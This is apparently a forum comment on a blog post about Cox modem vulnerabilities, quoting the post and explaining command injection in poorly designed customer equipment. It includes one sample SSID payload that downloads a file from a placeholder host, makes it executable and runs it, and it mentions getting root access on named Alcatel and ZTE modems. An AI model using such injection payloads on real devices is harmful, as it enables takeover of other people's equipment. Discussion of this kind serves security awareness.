It's impossible to say without knowing what commands were available.
> This series of vulnerabilities demonstrated a way in which a fully external attacker with no prerequisites could've executed commands and modified the settings of millions of modems, accessed any business customer's PII, and gained essentially the same permissions of an ISP support team.
But the author agrees that this wasn't the vulnerability that allowed access to their own modem:
> After reporting the vulnerability to Cox, they investigated if the specific vector had ever been maliciously exploited in the past and found no history of abuse (the service I found the vulnerabilities in had gone live in 2023, while my device had been compromised in 2021). They had also informed me that they had no affiliation with the DigitalOcean IP address, meaning that the device had definitely been hacked, just not using the method disclosed in this blog post.
If the CPE is sufficiently poorly designed, it might be vulnerable to command injection attacks, so by changing the WiFi SSID to something like "'; wget http://bla/payload -O /tmp/bla; chmod +x /tmp/bla; /tmp/bla; #" you could execute a command on the device.
Alcatel's HH40V and HH41V as well as ZTE MF283+ LTE modems are a recent example I can remember where I got root SSH access by injecting commands from the admin WebUI.